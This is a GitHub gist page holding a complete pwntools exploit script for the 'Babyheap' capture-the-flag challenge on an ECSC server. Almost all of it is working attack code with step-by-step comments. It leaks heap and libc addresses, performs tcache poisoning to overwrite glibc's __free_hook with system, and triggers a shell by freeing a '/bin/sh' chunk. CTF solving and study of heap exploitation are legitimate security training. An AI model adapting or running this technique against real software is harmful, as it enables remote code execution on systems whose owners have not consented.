-
-
Save kriive/4b03024f68e3e5e918146fddf40321de to your computer and use it in GitHub Desktop.
Babyheap G exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
# This exploit template was generated via: | |
# $ pwn template '--host=challenges.open.ecsc.no' '--port=1121' babyheap_patched | |
from pwn import * | |
# Set up pwntools for the correct architecture | |
exe = context.binary = ELF(args.EXE or 'babyheap_patched') | |
libc = exe.libc | |
# Many built-in settings can be controlled on the command-line and show up | |
# in "args". For example, to dump all data sent/received, and disable ASLR | |
# for all created processes... | |
# ./exploit.py DEBUG NOASLR | |
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable | |
host = args.HOST or 'challenges.open.ecsc.no' | |
port = int(args.PORT or 1121) | |
def start_local(argv=[], *a, **kw): | |
'''Execute the target binary locally''' | |
if args.GDB: | |
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return process([exe.path] + argv, *a, **kw) | |
def start_remote(argv=[], *a, **kw): | |
'''Connect to the process on the remote host''' | |
io = connect(host, port) | |
if args.GDB: | |
gdb.attach(io, gdbscript=gdbscript) | |
return io | |
def start(argv=[], *a, **kw): | |
'''Start the exploit against the target.''' | |
if args.LOCAL: | |
return start_local(argv, *a, **kw) | |
else: | |
return start_remote(argv, *a, **kw) | |
# Specify your GDB script here for debugging | |
# GDB will be launched if the exploit is run via e.g. | |
# ./exploit.py GDB | |
gdbscript = ''' | |
tbreak main | |
continue | |
'''.format(**locals()) | |
# Arch: amd64-64-little | |
# RELRO: Full RELRO | |
# Stack: Canary found | |
# NX: NX enabled | |
# PIE: PIE enabled | |
# RUNPATH: b'.' | |
def malloc(size): | |
if isinstance(size, int): | |
size = str(size).encode() | |
io.sendlineafter(b"?", b"1") | |
io.sendlineafter(b"Size: ", size) | |
def edit(bucket, size, content): | |
if isinstance(bucket, int): | |
bucket = str(bucket).encode() | |
if isinstance(size, int): | |
size = str(size).encode() | |
io.sendlineafter(b"?", b"2") | |
io.sendlineafter(b"Bucket: ", bucket) | |
io.sendlineafter(b"Size: ", size) | |
io.sendafter(b"Content:", content) | |
def show(bucket): | |
if isinstance(bucket, int): | |
bucket = str(bucket).encode() | |
io.sendlineafter(b"?", b"3") | |
io.sendlineafter(b"Bucket: ", bucket) | |
return io.recvuntil(b"1: Allocate", drop=True) | |
def free(bucket): | |
if isinstance(bucket, int): | |
bucket = str(bucket).encode() | |
io.sendlineafter(b"?", b"4") | |
io.sendlineafter(b"Bucket: ", bucket) | |
io = start() | |
# Leak heap base and safe linking key. | |
# malloc, free and malloc again to leak fd, | |
# which xors the NULL ptr with the safe linking key, | |
# which is basically (&ptr >> 12) ^ ptr. | |
malloc(0x18) | |
free(0) | |
malloc(0x18) | |
heap_leak = show(0) | |
# Free chunk 0, as we don't need it anymore. | |
free(0) | |
fd_key = u64(heap_leak.ljust(8, b"\x00")) | |
heap_base = fd_key << 12 | |
info(f"Heap base @ {hex(heap_base)}, fd key {hex(fd_key)}") | |
# Fill the 0x90 tcache, so the 8th will be | |
# free'd into unsortedbin. | |
# Allocate 9 chunks, so one will serve as | |
# top chunk consolidation barrier. | |
for _ in range(9): | |
malloc(0x88) | |
for i in range(7): | |
free(i) | |
# This will be put into unsortedbin, since the | |
# 0x90 tcachebin is full. | |
free(7) | |
# This will be remaindered from the unsortedbin. | |
# But first this will be sorted in the 0x90 smallbin. | |
malloc(0x68) | |
# Free the previous consolidation barrier, since | |
# it isn't needed anymore. | |
free(8) | |
libc.address = u64(show(0).ljust(8, b"\x00")) - 0x1e0c80 | |
# Free the 0 index, to have a clean slate. | |
free(0) | |
info(f"Libc base @ {hex(libc.address)}") | |
# Now, use the overflow to overwrite a tcachebin | |
# fd to perform a tcachebin poisoning attack and | |
# target the __free_hook symbol. | |
malloc(0x28) | |
malloc(0x28) | |
malloc(0x28) | |
free(2) | |
free(1) | |
# Forge fd to point to the __free_hook. | |
edit(0, -1, b"A"*0x28 + p64(0x31) + \ | |
p64(libc.sym.__free_hook ^ fd_key)) | |
# Useless alloc on bucket 1. | |
malloc(0x28) | |
# This points to __free_hook on bucket 2. | |
malloc(0x28) | |
edit(2, -1, p64(libc.sym.system)) | |
# 0 sized allocation to trick the memset | |
# before free. This alloc lands in bucket 3. | |
malloc(0) | |
edit(3, -1, b"/bin/sh\x00") | |
# Shell | |
free(3) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment